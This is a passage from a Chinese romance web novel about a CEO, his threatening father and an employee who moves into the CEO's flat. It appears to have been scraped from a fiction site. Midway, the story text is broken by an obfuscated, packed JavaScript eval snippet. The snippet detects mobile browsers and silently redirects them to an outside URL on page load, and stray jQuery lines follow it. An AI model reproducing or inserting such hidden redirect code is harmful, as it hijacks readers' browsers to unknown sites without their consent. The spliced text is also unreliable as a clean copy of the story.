薄骞猛地一僵,竟有些不敢回头去看。
说实话,这世上还没见到几个老子怕儿子的。
网上不是流传着经典的嗲子文学,什么【中式父子是君臣,是仇人,是情敌……】、【身为长子,从来不敢直视父亲深邃的眼睛】、【只要父亲说一句想了,他就给了】之类的。
但薄聿不同。
只有薄骞知道,他是真的会发疯。
怪物从小就是怪物,当初没能把他处理掉是他这辈子最大的遗憾,到头来,不仅害了自己的大儿子,还把他的权力全部架空……
薄骞有满腔的愤恨和躁狂想要发泄,可是他也知道,自己根本就不是这个“儿子”的对手。
以前不是。现在自己逐渐年老,而他风华正茂,更不是。
眼看着“瘟神”一步步走过来,薄骞还没来得及说点什么,颜瑾已经抢先一步晃了晃手里的支票,笑靥如花。
“薄总,你来晚了哟,你爸说要给钱让我离开你呢。”
支票被薄聿抽走了。
他面色沉冷,身上涌动着几乎化为实质的恶意,“薄骞,你是觉得我最近太温良了吗?”
薄聿弯腰,黑亮的瞳孔有种诡异的可怖,片刻后,他凑近薄骞,用只有两个人听见的声音道:“或许,我哥一个人在地底下太孤单,也想父亲了……”
薄骞的后背居然缓慢渗出细密的冷汗,他色厉内荏,“你敢!”
“要不,你试试?”薄聿眼神彻底沉下。
“撕拉——”
那张根本不可能兑换的支票被他撕成了碎片。
【哎——别撕啊!】虽然知道是假的,但颜瑾还是有点肉痛,好歹让她梦一下啊!
她是人民币梦女,这辈子就指着这个活了。
薄聿一字一顿道:“我只警告你一次,离她远点。”
薄骞被气得心梗手抖,颤抖的频率堪比帕金森患者了,但他也知道,薄聿说的是真的,这个疯子什么都干得出来。
手臂某处被啃噬后还残存着狰狞伤痕的皮肤隐隐抽痛,他再也不想看到那只癫狂发疯的狗了。
薄骞离开后,颜瑾惋惜地看着桌子上的支票捡碎片。
“哎,真是可惜了,薄总你说拼起来还能兑换吗?”
“颜瑾……”薄聿像个阴湿男鬼,幽怨地叫她全名。
“开个玩笑嘛,怎么一点都不幽默......”嘴上虽然这样说着,但颜瑾的眼神还是直勾勾地盯着那堆碎片,惋惜长叹,遗憾无比。
这么点钱,也值得她这样?
薄聿从钱包里抽出一张黑卡,直接塞进她手里,“以后要钱直接跟我说。”
大狗的耳尖微微发红,“不准要他的支票,脏。”
只要是钱,掉进茅坑里颜瑾都能捞起来冲干净,脏不了一点。
此刻,她捏着那张烫金的卡片,眼睛瞪得溜圆,惊叹不已,“这这这,难道这就是传说中霸总必备的黑卡?!”
“没有额度限制。”薄聿道,“想买什么随便刷。”
颜瑾翻来覆去,仔细研究,快要把这张“平平无奇”的黑卡看出花的时候,突然闭着眼,依依不舍地拍到了薄聿饱满的胸口。
“算了,还是你自己收着吧……咱们只是纯洁的上下属关系,不合适。”
【呜好心痛,好舍不得……】
【钱钱啊,不是我不愿意要你们,实在是拿人手软,他到时候要我负责就不好了。】
“…………”
如果要论这世上有谁能真正让薄聿气得牙痒痒,却又无可奈何的,就只有颜瑾了。
她真是懂得如何让他生气的。
既然不打算负责,为什么那天要过来?!为什么要纵容他,那么温柔地抚摸他?
薄聿在心底默念“爱她就要包容她”、“爱她就要包容她”……念了几十遍后,终于感觉心灵受到了净化,平静无比。
要是和她置气,从她入职第二天让他跳《晚安大小姐》的时候就已经气不过来了。
【恋爱法则第一条:女朋友永远是对的。】
虽然现在不是,那也是早晚的事儿。
薄聿坐到了薄骞的位置,服务员非常麻利地把先前那杯咖啡收走,“这位先生,您喝点什么?”
“冰美式,谢谢。”
“诶?”眼看着薄聿坐下来,还点了杯咖啡,颜瑾懵逼,“老登都走了,咱们不回家吗?”
薄聿慢条斯理,“不急这三两分钟。”
虽然颜瑾口口声声强调“纯洁的上下属”关系,但毕竟有过实质性的肌肤之亲,自从“发情期”和“偷内裤”事件过后,两人的相处方式概括起来就是自然中透着诡异的别扭。
一个想更进一步,另一个则缩在乌龟壳里。
开口就是“不知道啊”,“其实我和薄总不熟”,【千万别要我负责】,气死人不偿命三件套。
彼此心知肚明,窗户纸要破不破。
薄聿主动开口,“你住的公寓还有多久到期?”
“租了半年,差不多下个月到期,咋了?”当初颜瑾不确定自己能不能稳定下来,也就只是短租试试水,主要还是那时才毕业,兜里没几个子儿。
薄聿淡淡道:“回去收拾东西,搬过来跟我住。”
“啊?”
颜瑾脑子里瞬间闪过万般念头,最后对着手指,羞羞答答道:“这不好吧……没听说哪个员工住老板家里啊?”
薄骞一本正经,“你不要多想。”
“薄骞误会了你我的关系,他今天没达成目的,肯定不会善罢甘休,你一个人不安全,以后跟着我上下班……我不想员工因为我的原因人身安全受到威胁,你明白吗?”
他已经把私人感情摈弃,尽量包装得公事公办了。
颜瑾沉稳点头,“原来是这样……让我考虑一下。”
【哎呀呀,突然感觉小狗真的长大了,这么贴心,姐姐很欣慰啊。】
哼。
反正不是你家的,小狗不想搭理她。
思考半晌,颜瑾还是忍痛拒绝住大别墅的机会,“薄总,还是不了吧……法制社会,相信薄骞不敢把我怎么样的。”
薄聿已经预料到了,长指轻敲桌面,“这个理由不能说服我。”
颜瑾:“主要还是你家太远了,我早上起不来,晚上回去都半夜了……”
她是不是忘了,坐在她面前的是谁?就连林进都有好几处房产,谁规定他只能住在那栋别墅里?
薄大狗无奈,“我在公司附近还有一套大平层。”
话音落下,颜瑾已经蹭地弹起来,急不可耐,“你不早说!等着,我现在回去收拾东西!”
“……”但凡脑子多转转呢。
薄聿对她的跳脱习以为常,“着什么急,明天周六,我找人帮你搬。”
……
从小到大,颜瑾也就照顾薄小狗的那一年住过大房子。
当然,她住的还只是保姆房。
此刻,颜某人难免像个没见过世面的乡巴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857097|172113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
佬,看什么都新奇,同时心里还有点微妙的羡慕嫉妒恨。
你小子也过得太好了,说好的苟富贵勿相忘呢。
“这间客卧是你的,书房分你一半,日常可以办公……楼下有健身房和影音室,运动累了可以去放松一二。”
基本参观了房间的布局,颜瑾感觉今天的运动量已经超标,“薄总,我有个问题。”
“你说。”
“你家里这么大,房间也多,又没管家阿姨,要是进来个小偷怎么办?”
“一梯一户,小偷怎么进得来。”
薄聿轻轻屈指敲了她额头一下,“傻不傻?”
“啧。”颜瑾当即不爽地皱起眉头,像只充气河豚,“虽然你是我老板,但是也不代表你能随意打人,小心我报警要你赔偿我医药费。”
薄聿:“那今天中午,我下厨给你赔罪行吗?”
颜瑾嘴巴撅得可以挂油葫芦,“勉强吧,要是做出黑暗料理,我还是要告你。”
但凡这家里有个外人,看到这一番打情骂俏的,谁能不认为是热恋期的小情侣开启同居生活,偏偏某个当事人还觉得他们“清白无比”。
系上围裙,薄大厨开始烹饪中午的“赔罪大餐”。
余光瞥见某只充气河豚已经变成好奇河豚,在客厅里东摸摸西看看,再时不时拿出手机来,脸上的表情“风云变幻”。
薄聿从脚趾头都能想到,她应该是在搜这些东西的价钱。
只要她点头同意,订婚领证办婚礼,多少钱不都是她的……都愿意跟他住在一起,却偏偏装傻不肯要他的人,哼!
傲娇大狗继续生闷气,并把菜切得叮铃哐啷,咚咚作响,以示他的愤怒。
颜瑾的确是在搜价格,倒不是好奇这玩意儿有多贵,主要是有钱人家里吧,看似平平无奇的某个东西都有可能是什么古董之类的。
她会根据价钱来决定日常的谨慎程度,避免一不小心给碰碎了。
就像平时穿的衣服一样,新的、稍微贵一点的,颜瑾会手洗,其余的她就攒一攒,然后团吧团吧扔进洗衣机,完事。
看着厨房里高大的背影,颜瑾将自己放松地窝进沙发里,眼神有些怔忪。
曾经在孤儿院里,所有的东西都是公用的。
有些东西可以均分,但有些东西只能根据先来后到进行分配。
玩偶是,钱妈妈的爱是。
颜瑾幼年有个很喜欢的长耳兔子玩偶,是她玩游戏赢得的,她每天晚上睡觉都要抱着,但没过多久,就被别的孩子偷拿走了。
她没有去抢回来。
颜瑾觉得,既然它被别人拿走,就不再属于她了。
渐渐长大,她更加明白,这世上不管是人或事物,都不存在什么唯一。
直到后来遇到了小狗薄聿。
颜瑾从没和薄聿说过,其实她特别怀念和薄小狗的那一年。
如果有可能,她愿意用账户里的生命点十倍去兑换,换取哪怕只多几天的相处。
她喜欢全身心喜欢她、信赖她的薄宝宝,他第一个叫的是她,只吃她喂的饭,只和她一起睡觉……她是小狗的唯一。
可现在,这么多年过去,小狗变成了大狗。
将近三十年的空缺,薄聿是薄小狗,可又不全然是……
他有自己的生活,有老师、朋友、亲人、下属,她不再是薄聿的唯一了。
这也是颜瑾不肯和他相认的主要原因。
如果只是她一个人的狗,该有多好啊。